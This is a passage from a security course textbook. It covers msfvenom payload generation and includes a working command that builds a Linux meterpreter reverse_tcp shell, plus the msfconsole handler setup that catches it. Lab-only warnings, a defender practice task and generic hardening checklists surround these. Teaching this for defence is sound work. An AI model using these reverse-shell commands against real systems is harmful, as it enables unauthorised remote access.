23. Exploitation with Metasploit
23.6 msfvenom: Generating Payloads (Concept)
msfvenom creates a standalone payload file (for example an .exe or .elf) that, when run on a target, connects back to your Metasploit listener. In real engagements this is how a tester delivers a payload; you study it here so you can recognise and block such files.
# reverse shell for 64-bit Linux (concept – run only against a lab VM you own)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f elf -o shell.elf
# list payloads / formats
msfvenom --list payloads | less
msfvenom --list formats
Then in msfconsole you start a matching handler to catch the connection:
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.10
msf6 > set LPORT 4444
msf6 > run
Never test payloads outside your lab
A generated payload is real malware. Keep it inside the host-only lab, never email it, upload it, or run it on any machine you do not own. Antivirus will (correctly) flag it.
Ravindra Bagale's Tip
Some students send an msfvenom file to outsiders over WhatsApp or a pendrive "just for fun" – that is a crime, and antivirus catches it immediately anyway. Use it only on a lab VM to understand the concept, then delete it. Think like a defender: if such a file arrived, how would I block it?
Ravindra Bagale's Tip – मराठी
काही students msfvenom ची file WhatsApp/pendrive ने बाहेरच्यांना "गंमत म्हणून" पाठवतात – हा गुन्हा आहे आणि antivirus लगेच पकडतो. Concept समजण्यासाठी फक्त lab VM वर वापरा, आणि नंतर delete करा. Defender म्हणून विचार करा: अशी file आली तर मी ती कशी block करू?
Ravindra Bagale's Tip – हिंदी
कुछ students msfvenom की file WhatsApp/pendrive से बाहर वालों को "मज़े के लिए" भेजते हैं – यह अपराध है और antivirus तुरंत पकड़ लेता है. Concept समझने के लिए सिर्फ़ lab VM पर इस्तेमाल करो, और बाद में delete करो. Defender की तरह सोचो: ऐसी file आए तो मैं उसे कैसे block करूँ?
Practice task
Write, in words only, the steps by which an attacker would deliver an msfvenom payload and how you as a defender would block it (email filtering, no unknown executables, EDR, outbound firewall rules). No need to run it outside a VM you own.
Extended teaching notes
Why this lesson matters
Use this lesson to strengthen systems you own: understand the risk, practise safely in a lab, then write and apply the fix.
Apply the fix across stacks
Same class of bug, same idea in every language.
Java / Spring Boot
Parameterise queries, encode output, CSRF tokens, limited Actuator, dependency scanning.
ASP.NET Core
EF Core / parameterised SQL, Razor encoding, HTTPS, Data Protection.
Node.js / Express
helmet, parameterised SQL, npm audit, avoid eval and shell concat.
Python / Django / Flask / FastAPI
ORM, autoescape, pip-audit, Bandit; never shell=True with user input.
PHP / Laravel
PDO/Eloquent, Blade escaping, composer audit.
Go / Ruby
database/sql placeholders / ActiveRecord; html/template / ERB escaping; govulncheck / Brakeman.
nginx / Apache / Tomcat
Hide versions, TLS, security headers, least-open ports.
MySQL / PostgreSQL / MongoDB / Redis
Private networks, auth on, least-privilege users, no 0.0.0.0/0.
AWS / Azure / GCP
Roles not long-lived keys, private data stores, cloud audit logs on.
Mini case study
Suppose we are on a purple-team exercise for an Indian mid-size company (sample data). Red notes a technique from this lesson against a lab clone. Blue must show the control that stops it, the log that would have fired, and the ticket that hardens production. That is the standard this course trains you for.
Defender's worksheet (do this today)
- Write the lesson title, date and the exact lab target you are allowed to use.
- List three owned systems (VMs, apps, or cloud accounts) where this lesson applies.
- Run one safe check from the lesson on a lab system only. Paste the command and output.
- Write a two-sentence fix you would give a teammate.
- Name one related public advisory (CERT-In, CISA, NVD, or a vendor bulletin) with its date.
Indian workplace (sample data)
Suppose we are a junior analyst at Infosys, TCS, Wipro or a fintech SOC in Bengaluru/Pune. Turn this lesson into one checklist item with an owner, a due date and a place to store evidence (ticket + screenshot).
Global practice
Compare your notes with OWASP, CIS Benchmarks, NIST CSF/IR guidance or a cloud Well-Architected security question. Write five lines on what overlaps.
Everyday analogy
Explain the risk and the fix to a family member without jargon. If they can repeat the warning, you understand it well enough to teach juniors.
Key terms
- Control: a safeguard (patch, config, process, detection).
- Finding: a weakness backed by evidence.
- Remediation: the fix plus how you verified it.
- Scope: systems you have written permission to touch.
- Least privilege: only the access the task needs.
- Defence in depth: several layers so one failure does not end the story.
Common mistakes
- Skipping written permission "just for a quick scan".
- Practising on hostel, office or public targets without authorisation.
- Collecting tool output without writing the fix.
- Copying attack steps onto production to "verify". Defenders verify with versions, configs and patches.
- Publishing screenshots that contain secrets, cookies or internal hostnames.
Recap
- Evidence, fix, owner, date.
- Own lab only.
- Fix > spectacle.